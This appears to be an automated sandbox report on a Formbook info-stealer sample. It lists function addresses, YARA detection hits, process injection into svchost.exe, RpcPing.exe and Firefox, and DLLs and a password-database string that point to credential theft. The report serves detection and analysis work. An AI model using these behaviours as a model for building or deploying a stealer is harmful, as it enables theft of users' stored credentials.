Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FFF09	2_2_032FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FFFB1	2_2_032FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03241F92	2_2_03241F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03203FD2	2_2_03203FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03203FD5	2_2_03203FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03249EB0	2_2_03249EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F7D73	2_2_032F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03243D40	2_2_03243D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F1D5A	2_2_032F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325FDC0	2_2_0325FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B9C32	2_2_032B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FFCF2	2_2_032FFCF2
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Code function: 4_2_02C4215A	4_2_02C4215A
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Code function: 4_2_02C4A8AF	4_2_02C4A8AF
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Code function: 4_2_02C421AF	4_2_02C421AF
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Code function: 4_2_02C421BE	4_2_02C421BE
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Code function: 4_2_02C4412F	4_2_02C4412F
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Code function: 4_2_02C4C687	4_2_02C4C687
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Code function: 4_2_02C43F06	4_2_02C43F06
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Code function: 4_2_02C43F0F	4_2_02C43F0F
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Code function: 4_2_02C62D9F	4_2_02C62D9F
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0304A352	5_2_0304A352
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_030503E6	5_2_030503E6
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F9E3F0	5_2_02F9E3F0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_03030274	5_2_03030274
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_030102C0	5_2_030102C0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0302A118	5_2_0302A118
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_03018158	5_2_03018158
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_030501AA	5_2_030501AA
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_030481CC	5_2_030481CC
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_03022000	5_2_03022000
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F80100	5_2_02F80100
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FAC6E0	5_2_02FAC6E0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F8C7C0	5_2_02F8C7C0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F90770	5_2_02F90770
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FB4750	5_2_02FB4750
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_03050591	5_2_03050591
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_03042446	5_2_03042446
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F90535	5_2_02F90535
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0303E4F6	5_2_0303E4F6
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0304AB40	5_2_0304AB40
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F8EA80	5_2_02F8EA80
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_03046BD7	5_2_03046BD7
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FBE8F0	5_2_02FBE8F0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F768B8	5_2_02F768B8
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0305A9A6	5_2_0305A9A6
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F9A840	5_2_02F9A840
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F92840	5_2_02F92840
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F929A0	5_2_02F929A0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FA6962	5_2_02FA6962
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_03004F40	5_2_03004F40
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FA2E90	5_2_02FA2E90
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F90E59	5_2_02F90E59
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0300EFA0	5_2_0300EFA0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F9CFE0	5_2_02F9CFE0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0304EE26	5_2_0304EE26
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F82FC8	5_2_02F82FC8
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0304CE93	5_2_0304CE93
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FB0F30	5_2_02FB0F30
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FD2F28	5_2_02FD2F28
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0304EEDB	5_2_0304EEDB
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F80CF2	5_2_02F80CF2
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F90C00	5_2_02F90C00
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F8ADE0	5_2_02F8ADE0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FA8DBF	5_2_02FA8DBF
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_03030CB5	5_2_03030CB5
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F9AD00	5_2_02F9AD00
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0304132D	5_2_0304132D
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FAB2C0	5_2_02FAB2C0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F952A0	5_2_02F952A0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FD739A	5_2_02FD739A
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F7D34C	5_2_02F7D34C
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_030312ED	5_2_030312ED
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F970C0	5_2_02F970C0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0305B16B	5_2_0305B16B
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F9B1B0	5_2_02F9B1B0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F7F172	5_2_02F7F172
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FC516C	5_2_02FC516C
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0303F0CC	5_2_0303F0CC
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0304F0E0	5_2_0304F0E0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_030470E9	5_2_030470E9
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0304F7B0	5_2_0304F7B0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_030416CC	5_2_030416CC
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_03047571	5_2_03047571
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F81460	5_2_02F81460
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0302D5B0	5_2_0302D5B0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0304F43F	5_2_0304F43F
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FD5AA0	5_2_02FD5AA0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0304FB76	5_2_0304FB76
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_03005BF0	5_2_03005BF0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FCDBF9	5_2_02FCDBF9
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_03047A46	5_2_03047A46
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0304FA49	5_2_0304FA49
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_03003A6C	5_2_03003A6C
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FAFB80	5_2_02FAFB80
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0302DAAC	5_2_0302DAAC
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0303DAC6	5_2_0303DAC6
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F938E0	5_2_02F938E0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FFD800	5_2_02FFD800
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F99950	5_2_02F99950
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FAB950	5_2_02FAB950
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0304FF09	5_2_0304FF09
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F99EB0	5_2_02F99EB0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0304FFB1	5_2_0304FFB1
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F53FD5	5_2_02F53FD5
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F53FD2	5_2_02F53FD2
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F91F92	5_2_02F91F92
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_03041D5A	5_2_03041D5A
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_03047D73	5_2_03047D73
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_03009C32	5_2_03009C32
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02FAFDC0	5_2_02FAFDC0
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_02F93D40	5_2_02F93D40
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_0304FCF2	5_2_0304FCF2
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004E1B90	5_2_004E1B90
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004E5230	5_2_004E5230
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004E3410	5_2_004E3410
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004FB900	5_2_004FB900
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004DCA67	5_2_004DCA67
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004DCA70	5_2_004DCA70
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004DCC90	5_2_004DCC90
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_004DAD10	5_2_004DAD10
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_00AEE308	5_2_00AEE308
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_00AEE424	5_2_00AEE424
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_00AEE7C3	5_2_00AEE7C3
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_00AED828	5_2_00AED828
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: 5_2_00AECB13	5_2_00AECB13

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: String function: 004115D7 appears 36 times
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: String function: 00416C70 appears 39 times
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: String function: 00445AE0 appears 65 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03287E54 appears 102 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03275130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 0322B970 appears 280 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 032AEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 032BF290 appears 105 times
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: String function: 02FD7E54 appears 99 times
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: String function: 0300F290 appears 105 times
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: String function: 02FFEA12 appears 86 times
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: String function: 02F7B970 appears 274 times
Source: C:\Windows\SysWOW64\RpcPing.exe	Code function: String function: 02FC5130 appears 37 times

Source: xBzBOQwywT.exe, 00000000.00000003.1591484081.000000000486D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs xBzBOQwywT.exe
Source: xBzBOQwywT.exe, 00000000.00000003.1591353836.00000000046C3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs xBzBOQwywT.exe

Source: xBzBOQwywT.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000006.00000002.3367695283.0000000004CE0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3356645004.00000000004D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1804925513.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3365351743.00000000009E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1809587289.00000000056F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000005.00000002.3360236201.0000000000880000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000002.00000002.1808701497.0000000003590000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000004.00000002.3365349150.0000000002A00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@16/6

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0044AF6C GetLastError,FormatMessageW,

0_2_0044AF6C

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,		0_2_004333BE
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Code function: 0_2_00464EAE OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,		0_2_00464EAE

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0045D619 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_0045D619

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_004755C4 CreateToolhelp32Snapshot,Process32FirstW,__wsplitpath,_wcscat,__wcsicoll,Process32NextW,CloseHandle,

0_2_004755C4

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0046CB5F OleInitialize,CLSIDFromProgID,CLSIDFromString,CoCreateInstance,CoInitializeSecurity,_wcslen,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,

0_2_0046CB5F

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Code function: 0_2_0043305F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

0_2_0043305F

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

File created: C:\Users\user\AppData\Local\Temp\brawlys

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Command line argument: Wu

0_2_0040D6B0

Source: xBzBOQwywT.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: RpcPing.exe, 00000005.00000002.3361983815.00000000009A6000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3361983815.0000000000977000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000003.1989919315.0000000000977000.00000004.00000020.00020000.00000000.sdmp, RpcPing.exe, 00000005.00000002.3361983815.0000000000982000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: xBzBOQwywT.exe

ReversingLabs: Detection: 71%

Source: C:\Users\user\Desktop\xBzBOQwywT.exe

File read: C:\Users\user\Desktop\xBzBOQwywT.exe

Source: unknown	Process created: C:\Users\user\Desktop\xBzBOQwywT.exe "C:\Users\user\Desktop\xBzBOQwywT.exe"
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\xBzBOQwywT.exe"
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Process created: C:\Windows\SysWOW64\RpcPing.exe "C:\Windows\SysWOW64\RpcPing.exe"
Source: C:\Windows\SysWOW64\RpcPing.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\xBzBOQwywT.exe"	Jump to behavior
Source: C:\Program Files (x86)\TIIMtmWBDOgKJqLyRAIwubPfyjAFihHzfKEdkzRHHZAfdvaWRkCDDxBDzJHtjEEfnvlrxdT\IpIaYUETnYWFH.exe	Process created: C:\Windows\SysWOW64\RpcPing.exe "C:\Windows\SysWOW64\RpcPing.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Users\user\Desktop\xBzBOQwywT.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: credui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\RpcPing.exe	Section loaded: dpapi.dll	Jump to behavior
